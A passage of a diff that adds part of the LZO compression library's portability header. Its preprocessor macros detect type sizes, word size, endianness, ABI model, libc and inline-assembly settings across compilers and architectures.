LZO_SIZEOF_INT 4 +# elif (__LZO_LSR(UINT_MAX,63) == 1) +# define LZO_SIZEOF_INT 8 +# elif (__LZO_LSR(UINT_MAX,127) == 1) +# define LZO_SIZEOF_INT 16 +# else +# error "LZO_SIZEOF_INT" +# endif +#endif +LZO_COMPILE_TIME_ASSERT_HEADER(LZO_SIZEOF_INT == sizeof(int)) +#if !defined(LZO_SIZEOF_LONG) +# if (ULONG_MAX == LZO_0xffffffffL) +# define LZO_SIZEOF_LONG 4 +# elif (__LZO_LSR(ULONG_MAX,7) == 1) +# define LZO_SIZEOF_LONG 1 +# elif (__LZO_LSR(ULONG_MAX,15) == 1) +# define LZO_SIZEOF_LONG 2 +# elif (__LZO_LSR(ULONG_MAX,31) == 1) +# define LZO_SIZEOF_LONG 4 +# elif (__LZO_LSR(ULONG_MAX,39) == 1) +# define LZO_SIZEOF_LONG 5 +# elif (__LZO_LSR(ULONG_MAX,63) == 1) +# define LZO_SIZEOF_LONG 8 +# elif (__LZO_LSR(ULONG_MAX,127) == 1) +# define LZO_SIZEOF_LONG 16 +# else +# error "LZO_SIZEOF_LONG" +# endif +#endif +LZO_COMPILE_TIME_ASSERT_HEADER(LZO_SIZEOF_LONG == sizeof(long)) +#if !defined(LZO_SIZEOF_LONG_LONG) && !defined(LZO_SIZEOF___INT64) +#if (LZO_SIZEOF_LONG > 0 && LZO_SIZEOF_LONG < 8) +# if defined(__LONG_MAX__) && defined(__LONG_LONG_MAX__) +# if (LZO_CC_GNUC >= 0x030300ul) +# if ((__LONG_MAX__-0) == (__LONG_LONG_MAX__-0)) +# define LZO_SIZEOF_LONG_LONG LZO_SIZEOF_LONG +# elif (__LZO_LSR(__LONG_LONG_MAX__,30) == 1) +# define LZO_SIZEOF_LONG_LONG 4 +# endif +# endif +# endif +#endif +#endif +#if !defined(LZO_SIZEOF_LONG_LONG) && !defined(LZO_SIZEOF___INT64) +#if (LZO_SIZEOF_LONG > 0 && LZO_SIZEOF_LONG < 8) +#if (LZO_ARCH_I086 && LZO_CC_DMC) +#elif (LZO_CC_CILLY) && defined(__GNUC__) +# define LZO_SIZEOF_LONG_LONG 8 +#elif (LZO_CC_ARMCC_GNUC || LZO_CC_CLANG || LZO_CC_GNUC || LZO_CC_LLVM || LZO_CC_PATHSCALE) +# define LZO_SIZEOF_LONG_LONG 8 +#elif ((LZO_OS_WIN32 || LZO_OS_WIN64 || defined(_WIN32)) && LZO_CC_MSC && (_MSC_VER >= 1400)) +# define LZO_SIZEOF_LONG_LONG 8 +#elif (LZO_OS_WIN64 || defined(_WIN64)) +# define LZO_SIZEOF___INT64 8 +#elif (LZO_ARCH_I386 && (LZO_CC_DMC)) +# define LZO_SIZEOF_LONG_LONG 8 +#elif (LZO_ARCH_I386 && (LZO_CC_SYMANTECC && (__SC__ >= 0x700))) +# define LZO_SIZEOF_LONG_LONG 8 +#elif (LZO_ARCH_I386 && (LZO_CC_INTELC && defined(__linux__))) +# define LZO_SIZEOF_LONG_LONG 8 +#elif (LZO_ARCH_I386 && (LZO_CC_MWERKS || LZO_CC_PELLESC || LZO_CC_PGI || LZO_CC_SUNPROC)) +# define LZO_SIZEOF_LONG_LONG 8 +#elif (LZO_ARCH_I386 && (LZO_CC_INTELC || LZO_CC_MSC)) +# define LZO_SIZEOF___INT64 8 +#elif ((LZO_OS_WIN32 || defined(_WIN32)) && (LZO_CC_MSC)) +# define LZO_SIZEOF___INT64 8 +#elif (LZO_ARCH_I386 && (LZO_CC_BORLANDC && (__BORLANDC__ >= 0x0520))) +# define LZO_SIZEOF___INT64 8 +#elif (LZO_ARCH_I386 && (LZO_CC_WATCOMC && (__WATCOMC__ >= 1100))) +# define LZO_SIZEOF___INT64 8 +#elif (LZO_CC_GHS && defined(__LLONG_BIT) && ((__LLONG_BIT-0) == 64)) +# define LZO_SIZEOF_LONG_LONG 8 +#elif (LZO_CC_WATCOMC && defined(_INTEGRAL_MAX_BITS) && ((_INTEGRAL_MAX_BITS-0) == 64)) +# define LZO_SIZEOF___INT64 8 +#elif (LZO_OS_OS400 || defined(__OS400__)) && defined(__LLP64_IFC__) +# define LZO_SIZEOF_LONG_LONG 8 +#elif (defined(__vms) || defined(__VMS)) && ((__INITIAL_POINTER_SIZE-0) == 64) +# define LZO_SIZEOF_LONG_LONG 8 +#elif (LZO_CC_SDCC) && (LZO_SIZEOF_INT == 2) +#elif 1 && defined(__STDC_VERSION__) && (__STDC_VERSION__ >= 199901L) +# define LZO_SIZEOF_LONG_LONG 8 +#endif +#endif +#endif +#if defined(__cplusplus) && (LZO_CC_GNUC) +# if (LZO_CC_GNUC < 0x020800ul) +# undef LZO_SIZEOF_LONG_LONG +# endif +#endif +#if (LZO_CFG_NO_LONG_LONG) +# undef LZO_SIZEOF_LONG_LONG +#elif defined(__NO_LONG_LONG) +# undef LZO_SIZEOF_LONG_LONG +#elif defined(_NO_LONGLONG) +# undef LZO_SIZEOF_LONG_LONG +#endif +#if !defined(LZO_WORDSIZE) +#if (LZO_ARCH_ALPHA) +# define LZO_WORDSIZE 8 +#elif (LZO_ARCH_AMD64) +# define LZO_WORDSIZE 8 +#elif (LZO_ARCH_AVR) +# define LZO_WORDSIZE 1 +#elif (LZO_ARCH_H8300) +# if defined(__NORMAL_MODE__) +# define LZO_WORDSIZE 4 +# elif defined(__H8300H__) || defined(__H8300S__) || defined(__H8300SX__) +# define LZO_WORDSIZE 4 +# else +# define LZO_WORDSIZE 2 +# endif +#elif (LZO_ARCH_I086) +# define LZO_WORDSIZE 2 +#elif (LZO_ARCH_IA64) +# define LZO_WORDSIZE 8 +#elif (LZO_ARCH_M16C) +# define LZO_WORDSIZE 2 +#elif (LZO_ARCH_SPU) +# define LZO_WORDSIZE 4 +#elif (LZO_ARCH_Z80) +# define LZO_WORDSIZE 1 +#elif (LZO_SIZEOF_LONG == 8) && ((defined(__mips__) && defined(__R5900__)) || defined(__MIPS_PSX2__)) +# define LZO_WORDSIZE 8 +#elif (LZO_OS_OS400 || defined(__OS400__)) +# define LZO_WORDSIZE 8 +#elif (defined(__vms) || defined(__VMS)) && (__INITIAL_POINTER_SIZE+0 == 64) +# define LZO_WORDSIZE 8 +#endif +#endif +#if !defined(LZO_SIZEOF_VOID_P) +#if defined(__ILP32__) || defined(__ILP32) || defined(_ILP32) +LZO_COMPILE_TIME_ASSERT_HEADER(sizeof(int) == 4) +LZO_COMPILE_TIME_ASSERT_HEADER(sizeof(long) == 4) +# define LZO_SIZEOF_VOID_P 4 +#elif defined(__ILP64__) || defined(__ILP64) || defined(_ILP64) +LZO_COMPILE_TIME_ASSERT_HEADER(sizeof(int) == 8) +LZO_COMPILE_TIME_ASSERT_HEADER(sizeof(long) == 8) +# define LZO_SIZEOF_VOID_P 8 +#elif defined(__LLP64__) || defined(__LLP64) || defined(_LLP64) || defined(_WIN64) +LZO_COMPILE_TIME_ASSERT_HEADER(sizeof(long) == 4) +# define LZO_SIZEOF_VOID_P 8 +#elif defined(__LP64__) || defined(__LP64) || defined(_LP64) +LZO_COMPILE_TIME_ASSERT_HEADER(sizeof(long) == 8) +# define LZO_SIZEOF_VOID_P 8 +#elif (LZO_ARCH_AVR) +# define LZO_SIZEOF_VOID_P 2 +#elif (LZO_ARCH_C166 || LZO_ARCH_MCS51 || LZO_ARCH_MCS251 || LZO_ARCH_MSP430) +# define LZO_SIZEOF_VOID_P 2 +#elif (LZO_ARCH_H8300) +# if defined(__NORMAL_MODE__) +# define LZO_SIZEOF_VOID_P 2 +# elif defined(__H8300H__) || defined(__H8300S__) || defined(__H8300SX__) +# define LZO_SIZEOF_VOID_P 4 +# else +# define LZO_SIZEOF_VOID_P 2 +# endif +# if (LZO_CC_GNUC && (LZO_CC_GNUC < 0x040000ul)) && (LZO_SIZEOF_INT == 4) +# define LZO_SIZEOF_SIZE_T LZO_SIZEOF_INT +# define LZO_SIZEOF_PTRDIFF_T LZO_SIZEOF_INT +# endif +#elif (LZO_ARCH_I086) +# if (LZO_MM_TINY || LZO_MM_SMALL || LZO_MM_MEDIUM) +# define LZO_SIZEOF_VOID_P 2 +# elif (LZO_MM_COMPACT || LZO_MM_LARGE || LZO_MM_HUGE) +# define LZO_SIZEOF_VOID_P 4 +# else +# error "invalid LZO_ARCH_I086 memory model" +# endif +#elif (LZO_ARCH_M16C) +# if defined(__m32c_cpu__) || defined(__m32cm_cpu__) +# define LZO_SIZEOF_VOID_P 4 +# else +# define LZO_SIZEOF_VOID_P 2 +# endif +#elif (LZO_ARCH_SPU) +# define LZO_SIZEOF_VOID_P 4 +#elif (LZO_ARCH_Z80) +# define LZO_SIZEOF_VOID_P 2 +#elif (LZO_SIZEOF_LONG == 8) && ((defined(__mips__) && defined(__R5900__)) || defined(__MIPS_PSX2__)) +# define LZO_SIZEOF_VOID_P 4 +#elif (LZO_OS_OS400 || defined(__OS400__)) +# if defined(__LLP64_IFC__) +# define LZO_SIZEOF_VOID_P 8 +# define LZO_SIZEOF_SIZE_T LZO_SIZEOF_LONG +# define LZO_SIZEOF_PTRDIFF_T LZO_SIZEOF_LONG +# else +# define LZO_SIZEOF_VOID_P 16 +# define LZO_SIZEOF_SIZE_T LZO_SIZEOF_LONG +# define LZO_SIZEOF_PTRDIFF_T LZO_SIZEOF_LONG +# endif +#elif (defined(__vms) || defined(__VMS)) && (__INITIAL_POINTER_SIZE+0 == 64) +# define LZO_SIZEOF_VOID_P 8 +# define LZO_SIZEOF_SIZE_T LZO_SIZEOF_LONG +# define LZO_SIZEOF_PTRDIFF_T LZO_SIZEOF_LONG +#endif +#endif +#if !defined(LZO_SIZEOF_VOID_P) +# define LZO_SIZEOF_VOID_P LZO_SIZEOF_LONG +#endif +LZO_COMPILE_TIME_ASSERT_HEADER(LZO_SIZEOF_VOID_P == sizeof(void *)) +#if !defined(LZO_SIZEOF_SIZE_T) +#if (LZO_ARCH_I086 || LZO_ARCH_M16C) +# define LZO_SIZEOF_SIZE_T 2 +#endif +#endif +#if !defined(LZO_SIZEOF_SIZE_T) +# define LZO_SIZEOF_SIZE_T LZO_SIZEOF_VOID_P +#endif +#if defined(offsetof) +LZO_COMPILE_TIME_ASSERT_HEADER(LZO_SIZEOF_SIZE_T == sizeof(size_t)) +#endif +#if !defined(LZO_SIZEOF_PTRDIFF_T) +#if (LZO_ARCH_I086) +# if (LZO_MM_TINY || LZO_MM_SMALL || LZO_MM_MEDIUM || LZO_MM_HUGE) +# define LZO_SIZEOF_PTRDIFF_T LZO_SIZEOF_VOID_P +# elif (LZO_MM_COMPACT || LZO_MM_LARGE) +# if (LZO_CC_BORLANDC || LZO_CC_TURBOC) +# define LZO_SIZEOF_PTRDIFF_T 4 +# else +# define LZO_SIZEOF_PTRDIFF_T 2 +# endif +# else +# error "invalid LZO_ARCH_I086 memory model" +# endif +#endif +#endif +#if !defined(LZO_SIZEOF_PTRDIFF_T) +# define LZO_SIZEOF_PTRDIFF_T LZO_SIZEOF_SIZE_T +#endif +#if defined(offsetof) +LZO_COMPILE_TIME_ASSERT_HEADER(LZO_SIZEOF_PTRDIFF_T == sizeof(ptrdiff_t)) +#endif +#if !defined(LZO_WORDSIZE) +# define LZO_WORDSIZE LZO_SIZEOF_VOID_P +#endif +#if (LZO_ABI_NEUTRAL_ENDIAN) +# undef LZO_ABI_BIG_ENDIAN +# undef LZO_ABI_LITTLE_ENDIAN +#elif !(LZO_ABI_BIG_ENDIAN) && !(LZO_ABI_LITTLE_ENDIAN) +#if (LZO_ARCH_ALPHA) && (LZO_ARCH_CRAY_MPP) +# define LZO_ABI_BIG_ENDIAN 1 +#elif (LZO_ARCH_IA64) && (LZO_OS_POSIX_LINUX || LZO_OS_WIN64) +# define LZO_ABI_LITTLE_ENDIAN 1 +#elif (LZO_ARCH_ALPHA || LZO_ARCH_AMD64 || LZO_ARCH_BLACKFIN || LZO_ARCH_CRIS || LZO_ARCH_I086 || LZO_ARCH_I386 || LZO_ARCH_MSP430) +# define LZO_ABI_LITTLE_ENDIAN 1 +#elif (LZO_ARCH_AVR32 || LZO_ARCH_M68K || LZO_ARCH_S390 || LZO_ARCH_SPU) +# define LZO_ABI_BIG_ENDIAN 1 +#elif 1 && defined(__IAR_SYSTEMS_ICC__) && defined(__LITTLE_ENDIAN__) +# if (__LITTLE_ENDIAN__ == 1) +# define LZO_ABI_LITTLE_ENDIAN 1 +# else +# define LZO_ABI_BIG_ENDIAN 1 +# endif +#elif 1 && defined(__BIG_ENDIAN__) && !defined(__LITTLE_ENDIAN__) +# define LZO_ABI_BIG_ENDIAN 1 +#elif 1 && defined(__LITTLE_ENDIAN__) && !defined(__BIG_ENDIAN__) +# define LZO_ABI_LITTLE_ENDIAN 1 +#elif 1 && (LZO_ARCH_ARM) && defined(__ARMEB__) && !defined(__ARMEL__) +# define LZO_ABI_BIG_ENDIAN 1 +#elif 1 && (LZO_ARCH_ARM) && defined(__ARMEL__) && !defined(__ARMEB__) +# define LZO_ABI_LITTLE_ENDIAN 1 +#elif 1 && (LZO_ARCH_ARM && LZO_CC_ARMCC_ARMCC) +# if defined(__BIG_ENDIAN) && defined(__LITTLE_ENDIAN) +# error "unexpected configuration - check your compiler defines" +# elif defined(__BIG_ENDIAN) +# define LZO_ABI_BIG_ENDIAN 1 +# else +# define LZO_ABI_LITTLE_ENDIAN 1 +# endif +# define LZO_ABI_LITTLE_ENDIAN 1 +#elif 1 && (LZO_ARCH_ARM64) && defined(__AARCH64EB__) && !defined(__AARCH64EL__) +# define LZO_ABI_BIG_ENDIAN 1 +#elif 1 && (LZO_ARCH_ARM64) && defined(__AARCH64EL__) && !defined(__AARCH64EB__) +# define LZO_ABI_LITTLE_ENDIAN 1 +#elif 1 && (LZO_ARCH_MIPS) && defined(__MIPSEB__) && !defined(__MIPSEL__) +# define LZO_ABI_BIG_ENDIAN 1 +#elif 1 && (LZO_ARCH_MIPS) && defined(__MIPSEL__) && !defined(__MIPSEB__) +# define LZO_ABI_LITTLE_ENDIAN 1 +#endif +#endif +#if (LZO_ABI_BIG_ENDIAN) && (LZO_ABI_LITTLE_ENDIAN) +# error "unexpected configuration - check your compiler defines" +#endif +#if (LZO_ABI_BIG_ENDIAN) +# define LZO_INFO_ABI_ENDIAN "be" +#elif (LZO_ABI_LITTLE_ENDIAN) +# define LZO_INFO_ABI_ENDIAN "le" +#elif (LZO_ABI_NEUTRAL_ENDIAN) +# define LZO_INFO_ABI_ENDIAN "neutral" +#endif +#if (LZO_SIZEOF_INT == 1 && LZO_SIZEOF_LONG == 2 && LZO_SIZEOF_VOID_P == 2) +# define LZO_ABI_I8LP16 1 +# define LZO_INFO_ABI_PM "i8lp16" +#elif (LZO_SIZEOF_INT == 2 && LZO_SIZEOF_LONG == 2 && LZO_SIZEOF_VOID_P == 2) +# define LZO_ABI_ILP16 1 +# define LZO_INFO_ABI_PM "ilp16" +#elif (LZO_SIZEOF_INT == 2 && LZO_SIZEOF_LONG == 4 && LZO_SIZEOF_VOID_P == 4) +# define LZO_ABI_LP32 1 +# define LZO_INFO_ABI_PM "lp32" +#elif (LZO_SIZEOF_INT == 4 && LZO_SIZEOF_LONG == 4 && LZO_SIZEOF_VOID_P == 4) +# define LZO_ABI_ILP32 1 +# define LZO_INFO_ABI_PM "ilp32" +#elif (LZO_SIZEOF_INT == 4 && LZO_SIZEOF_LONG == 4 && LZO_SIZEOF_VOID_P == 8 && LZO_SIZEOF_SIZE_T == 8) +# define LZO_ABI_LLP64 1 +# define LZO_INFO_ABI_PM "llp64" +#elif (LZO_SIZEOF_INT == 4 && LZO_SIZEOF_LONG == 8 && LZO_SIZEOF_VOID_P == 8) +# define LZO_ABI_LP64 1 +# define LZO_INFO_ABI_PM "lp64" +#elif (LZO_SIZEOF_INT == 8 && LZO_SIZEOF_LONG == 8 && LZO_SIZEOF_VOID_P == 8) +# define LZO_ABI_ILP64 1 +# define LZO_INFO_ABI_PM "ilp64" +#elif (LZO_SIZEOF_INT == 4 && LZO_SIZEOF_LONG == 8 && LZO_SIZEOF_VOID_P == 4) +# define LZO_ABI_IP32L64 1 +# define LZO_INFO_ABI_PM "ip32l64" +#endif +#if 0 +#elif !defined(__LZO_LIBC_OVERRIDE) +#if (LZO_LIBC_NAKED) +# define LZO_INFO_LIBC "naked" +#elif (LZO_LIBC_FREESTANDING) +# define LZO_INFO_LIBC "freestanding" +#elif (LZO_LIBC_MOSTLY_FREESTANDING) +# define LZO_INFO_LIBC "mfreestanding" +#elif (LZO_LIBC_ISOC90) +# define LZO_INFO_LIBC "isoc90" +#elif (LZO_LIBC_ISOC99) +# define LZO_INFO_LIBC "isoc99" +#elif (LZO_CC_ARMCC_ARMCC) && defined(__ARMCLIB_VERSION) +# define LZO_LIBC_ISOC90 1 +# define LZO_INFO_LIBC "isoc90" +#elif defined(__dietlibc__) +# define LZO_LIBC_DIETLIBC 1 +# define LZO_INFO_LIBC "dietlibc" +#elif defined(_NEWLIB_VERSION) +# define LZO_LIBC_NEWLIB 1 +# define LZO_INFO_LIBC "newlib" +#elif defined(__UCLIBC__) && defined(__UCLIBC_MAJOR__) && defined(__UCLIBC_MINOR__) +# if defined(__UCLIBC_SUBLEVEL__) +# define LZO_LIBC_UCLIBC (__UCLIBC_MAJOR__ * 0x10000L + (__UCLIBC_MINOR__-0) * 0x100 + (__UCLIBC_SUBLEVEL__-0)) +# else +# define LZO_LIBC_UCLIBC 0x00090bL +# endif +# define LZO_INFO_LIBC "uc" "libc" +#elif defined(__GLIBC__) && defined(__GLIBC_MINOR__) +# define LZO_LIBC_GLIBC (__GLIBC__ * 0x10000L + (__GLIBC_MINOR__-0) * 0x100) +# define LZO_INFO_LIBC "glibc" +#elif (LZO_CC_MWERKS) && defined(__MSL__) +# define LZO_LIBC_MSL __MSL__ +# define LZO_INFO_LIBC "msl" +#elif 1 && defined(__IAR_SYSTEMS_ICC__) +# define LZO_LIBC_ISOC90 1 +# define LZO_INFO_LIBC "isoc90" +#else +# define LZO_LIBC_DEFAULT 1 +# define LZO_INFO_LIBC "default" +#endif +#endif +#if (LZO_ARCH_I386 && (LZO_OS_DOS32 || LZO_OS_WIN32) && (LZO_CC_DMC || LZO_CC_INTELC || LZO_CC_MSC || LZO_CC_PELLESC)) +# define LZO_ASM_SYNTAX_MSC 1 +#elif (LZO_OS_WIN64 && (LZO_CC_DMC || LZO_CC_INTELC || LZO_CC_MSC || LZO_CC_PELLESC)) +#elif (LZO_ARCH_I386 && LZO_CC_GNUC && (LZO_CC_GNUC == 0x011f00ul)) +#elif (LZO_ARCH_I386 && (LZO_CC_CLANG || LZO_CC_GNUC || LZO_CC_INTELC || LZO_CC_PATHSCALE)) +# define LZO_ASM_SYNTAX_GNUC 1 +#elif (LZO_ARCH_AMD64 && (LZO_CC_CLANG || LZO_CC_GNUC || LZO_CC_INTELC || LZO_CC_PATHSCALE)) +# define LZO_ASM_SYNTAX_GNUC 1 +#elif (LZO_CC_GNUC) +# define LZO_ASM_SYNTAX_GNUC 1 +#endif +#if (LZO_ASM_SYNTAX_GNUC) +#if (LZO_ARCH_I386 && LZO_CC_GNUC && (LZO_CC_GNUC < 0x020000ul)) +# define __LZO_ASM_CLOBBER "ax" +# define __LZO_ASM_CLOBBER_LIST_CC /*empty*/ +# define __LZO_ASM_CLOBBER_LIST_CC_MEMORY /*empty*/ +# define __LZO_ASM_CLOBBER_LIST_EMPTY /*empty*/ +#elif (LZO_CC_INTELC && (__INTEL_COMPILER < 1000)) +# define __LZO_ASM_CLOBBER "memory" +# define __LZO_ASM_CLOBBER_LIST_CC /*empty*/ +# define __LZO_ASM_CLOBBER_LIST_CC_MEMORY : "memory" +# define __LZO_ASM_CLOBBER_LIST_EMPTY /*empty*/ +#else +# define __LZO_ASM_CLOBBER "cc", "memory" +# define __LZO_ASM_CLOBBER_LIST_CC : "cc" +# define __LZO_ASM_CLOBBER_LIST_CC_MEMORY : "cc", "memory" +# define __LZO_ASM_CLOBBER_LIST_EMPTY /*empty*/ +#endif +#endif +#if (LZO_ARCH_ALPHA) +# define LZO_OPT_AVOID_UINT_INDEX 1 +#elif (LZO_ARCH_AMD64) +# define LZO_OPT_AVOID_INT_INDEX 1 +# define LZO_OPT_AVOID_UINT_INDEX 1 +# ifndef LZO_OPT_UNALIGNED16 +# define LZO_OPT_UNALIGNED16 1 +# endif +# ifndef LZO_OPT_UNALIGNED32 +# define LZO_OPT_UNALIGNED32 1 +# endif +# ifndef LZO_OPT_UNALIGNED64 +# define LZO_OPT_UNALIGNED64 1 +# endif +#elif (LZO_ARCH_ARM) +# if defined(__ARM_FEATURE_UNALIGNED) +# ifndef LZO_OPT_UNALIGNED16 +# define LZO_OPT_UNALIGNED16 1 +# endif +# ifndef LZO_OPT_UNALIGNED32 +# define LZO_OPT_UNALIGNED32 1 +# endif +# elif defined(__TARGET_ARCH_ARM) && ((__TARGET_ARCH_ARM+0) >= 7) +# ifndef LZO_OPT_UNALIGNED16 +# define LZO_OPT_UNALIGNED16 1 +# endif +# ifndef LZO_OPT_UNALIGNED32 +# define LZO_OPT_UNALIGNED32 1 +# endif +# elif defined(__TARGET_ARCH_ARM) && ((__TARGET_ARCH_ARM+0) >= 6) && !defined(__TARGET_PROFILE_M) +# ifndef LZO_OPT_UNALIGNED16 +# define LZO_OPT_UNALIGNED16 1 +# endif +# ifndef LZO_OPT_UNALIGNED32 +# define LZO_OPT_UNALIGNED32 1 +# endif +# endif +#elif (LZO_ARCH_ARM64) +# ifndef LZO_OPT_UNALIGNED16 +# define LZO_OPT_UNALIGNED16 1 +# endif +# ifndef LZO_OPT_UNALIGNED32 +# define LZO_OPT_UNALIGNED32 1 +# endif +# ifndef LZO_OPT_UNALIGNED64 +# define LZO_OPT_UNALIGNED64 1 +# endif +#elif (LZO_ARCH_CRIS) +# ifndef LZO_OPT_UNALIGNED16 +# define LZO_OPT_UNALIGNED16 1 +# endif +# ifndef LZO_OPT_UNALIGNED32 +# define LZO_OPT_UNALIGNED32 1 +# endif +#elif (LZO_ARCH_I386) +# ifndef LZO_OPT_UNALIGNED16 +# define LZO_OPT_UNALIGNED16 1 +# endif +# ifndef LZO_OPT_UNALIGNED32 +# define LZO_OPT_UNALIGNED32 1 +# endif +#elif (LZO_ARCH_IA64) +# define LZO_OPT_AVOID_INT_INDEX 1 +# define LZO_OPT_AVOID_UINT_INDEX 1 +# define LZO_OPT_PREFER_POSTINC 1 +#elif (LZO_ARCH_M68K) +# define LZO_OPT_PREFER_POSTINC 1 +# define LZO_OPT_PREFER_PREDEC 1 +# if defined(__mc68020__) && !defined(__mcoldfire__) +# ifndef LZO_OPT_UNALIGNED16 +# define LZO_OPT_UNALIGNED16 1 +# endif +# ifndef LZO_OPT_UNALIGNED32 +# define LZO_OPT_UNALIGNED32 1 +# endif +# endif +#elif (LZO_ARCH_MIPS) +# define LZO_OPT_AVOID_UINT_INDEX 1 +#elif (LZO_ARCH_POWERPC) +# define LZO_OPT_PREFER_PREINC 1 +# define LZO_OPT_PREFER_PREDEC 1 +# if (LZO_ABI_BIG_ENDIAN) +# ifndef LZO_OPT_UNALIGNED16 +# define LZO_OPT_UNALIGNED16 1 +# endif +# ifndef LZO_OPT_UNALIGNED32 +# define LZO_OPT_UNALIGNED32 1 +# endif +# if (LZO_WORDSIZE == 8) +# ifndef LZO_OPT_UNALIGNED64 +# define LZO_OPT_UNALIGNED64 1 +# endif +# endif +# endif +#elif (LZO_ARCH_S390) +# ifndef LZO_OPT_UNALIGNED16 +# define LZO_OPT_UNALIGNED16 1 +# endif +# ifndef LZO_OPT_UNALIGNED32 +# define LZO_OPT_UNALIGNED32 1 +# endif +# if (LZO_WORDSIZE == 8) +# ifndef LZO_OPT_UNALIGNED64 +# define LZO_OPT_UNALIGNED64 1 +# endif +# endif +#elif (LZO_ARCH_SH) +# define LZO_OPT_PREFER_POSTINC 1 +# define LZO_OPT_PREFER_PREDEC 1 +#endif +#ifndef LZO_CFG_NO_INLINE_ASM +#if (LZO_ABI_NEUTRAL_ENDIAN) || (LZO_ARCH_GENERIC) +# define LZO_CFG_NO_INLINE_ASM 1 +#elif (LZO_CC_LLVM) +# define LZO_CFG_NO_INLINE_ASM 1 +#endif +#endif +#if (LZO_CFG_NO_INLINE_ASM) +# undef LZO_ASM_SYNTAX_MSC +# undef LZO_ASM_SYNTAX_GNUC +# undef __LZO_ASM_CLOBBER +# undef __LZO_ASM_CLOBBER_LIST_CC +# undef __LZO_ASM_CLOBBER_LIST_CC_MEMORY +# undef __LZO_ASM_CLOBBER_LIST_EMPTY +#endif +#ifndef LZO_CFG_NO_UNALIGNED +#if (LZO_ABI_NEUTRAL_ENDIAN) || (LZO_ARCH_GENERIC) +# define LZO_CFG_NO_UNALIGNED 1 +#endif +#endif +#if (LZO_CFG_NO_UNALIGNED) +# undef LZO_OPT_UNALIGNED16 +# undef LZO_OPT_UNALIGNED32 +# undef LZO_OPT_UNALIGNED64 +#endif +#if defined(__LZO_INFOSTR_MM) +#elif (LZO_MM_FLAT) && (defined(__LZO_INFOSTR_PM) || defined(LZO_INFO_ABI_PM)) +# define __LZO_INFOSTR_MM "" +#elif defined(LZO_INFO_MM) +# define __LZO_INFOSTR_MM "." LZO_INFO_MM +#else +# define __LZO_INFOSTR_MM "" +#endif +#if defined(__LZO_INFOSTR_PM) +#elif defined(LZO_INFO_ABI_PM) +# define __LZO_INFOSTR_PM "." LZO_INFO_ABI_PM +#else +# define __LZO_INFOSTR_PM "" +#endif +#if defined(__LZO_INFOSTR_ENDIAN) +#elif defined(LZO_INFO_ABI_ENDIAN) +# define __LZO_INFOSTR_ENDIAN "." LZO_INFO_ABI_ENDIAN +#else +# define __LZO_INFOSTR_ENDIAN "" +#endif +#if defined(__LZO_INFOSTR_OSNAME) +#elif defined(LZO_INFO_OS_CONSOLE) +# define __LZO_INFOSTR_OSNAME LZO_INFO_OS "." LZO_INFO_OS_CONSOLE +#elif defined(LZO_INFO_OS_POSIX) +# define __LZO_INFOSTR_OSNAME LZO_INFO_OS "." LZO_INFO_OS_POSIX +#else +# define __LZO_INFOSTR_OSNAME LZO_INFO_OS +#endif +#if defined(__LZO_INFOSTR_LIBC) +#elif defined(LZO_INFO_LIBC) +# define __LZO_INFOSTR_LIBC "." LZO_INFO_LIBC +#else +# define __LZO_INFOSTR_LIBC "" +#endif +#if defined(__LZO_INFOSTR_CCVER) +#elif defined(LZO_INFO_CCVER) +# define __LZO_INFOSTR_CCVER " " LZO_INFO_CCVER +#else +# define __LZO_INFOSTR_CCVER "" +#endif +#define LZO_INFO_STRING \ + LZO_INFO_ARCH __LZO_INFOSTR_MM __LZO_INFOSTR_PM __LZO_INFOSTR_ENDIAN \ + " " __LZO_INFOSTR_OSNAME __LZO_INFOSTR_LIBC " " LZO_INFO_CC __LZO_INFOSTR_CCVER +#if !(LZO_CFG_SKIP_LZO_TYPES) +#if (!(LZO_SIZEOF_SHORT+0 > 0 && LZO_SIZEOF_INT+0 > 0 && LZO_SIZEOF_LONG+0 > 0)) +# error "missing defines for sizes" +#endif +#if (!(LZO_SIZEOF_PTRDIFF_T+0 > 0 && LZO_SIZEOF_SIZE_T+0 > 0 && LZO_SIZEOF_VOID_P+0 > 0)) +# error "missing defines for sizes" +#endif +#if !defined(lzo_llong_t) +#if (LZO_SIZEOF_LONG_LONG+0 > 0) +__lzo_gnuc_extension__ typedef long long lzo_llong_t__; +__lzo_gnuc_extension__ typedef unsigned long long lzo_ullong_t__; +# define lzo_llong_t lzo_llong_t__ +# define lzo_ullong_t lzo_ullong_t__ +#endif +#endif +#if !defined(lzo_int16e_t) +#if (LZO_SIZEOF_LONG == 2) +# define lzo_int16e_t long +# define lzo_uint16e_t unsigned long +#elif (LZO_SIZEOF_INT == 2) +# define lzo_int16e_t int +# define lzo_uint16e_t unsigned int +#elif (LZO_SIZEOF_SHORT == 2) +# define lzo_int16e_t short int +# define lzo_uint16e_t unsigned short int +#elif 1 && !(LZO_CFG_TYPE_NO_MODE_HI) && (LZO_CC_CLANG || (LZO_CC_GNUC >= 0x025f00ul) || LZO_CC_LLVM) + typedef int lzo_int16e_hi_t__ __attribute__((__mode__(__HI__))); + typedef unsigned int lzo_uint16e_hi_t__ __attribute__((__mode__(__HI__))); +# define lzo_int16e_t lzo_int16e_hi_t__ +# define lzo_uint16e_t lzo_uint16e_hi_t__ +#elif (LZO_SIZEOF___INT16 == 2) +# define lzo_int16e_t __int16 +# define lzo_uint16e_t unsigned __int16 +#else +#endif +#endif +#if defined(lzo_int16e_t) +# define LZO_SIZEOF_LZO_INT16E_T 2 + LZO_COMPILE_TIME_ASSERT_HEADER(sizeof(lzo_int16e_t) == 2) + LZO_COMPILE_TIME_ASSERT_HEADER(sizeof(lzo_int16e_t) == LZO_SIZEOF_LZO_INT16E_T) +#endif +#if !defined(lzo_int32e_t) +#if (LZO_SIZEOF_LONG == 4) +# define lzo_int32e_t long int +# define lzo_uint32e_t unsigned long int +#elif (LZO_SIZEOF_INT == 4) +# define lzo_int32e_t int +# define lzo_uint32e_t unsigned int +#elif (LZO_SIZEOF_SHORT == 4) +# define lzo_int32e_t short int +# define lzo_uint32e_t unsigned short int +#elif (LZO_SIZEOF_LONG_LONG == 4) +# define lzo_int32e_t lzo_llong_t +# define lzo_uint32e_t lzo_ullong_t +#elif 1 && !(LZO_CFG_TYPE_NO_MODE_SI) && (LZO_CC_CLANG || (LZO_CC_GNUC >= 0x025f00ul) || LZO_CC_LLVM) && (__INT_MAX__+0 > 2147483647L) + typedef int lzo_int32e_si_t__ __attribute__((__mode__(__SI__))); + typedef unsigned int lzo_uint32e_si_t__ __attribute__((__mode__(__SI__))); +# define lzo_int32e_t lzo_int32e_si_t__ +# define lzo_uint32e_t lzo_uint32e_si_t__ +#elif 1 && 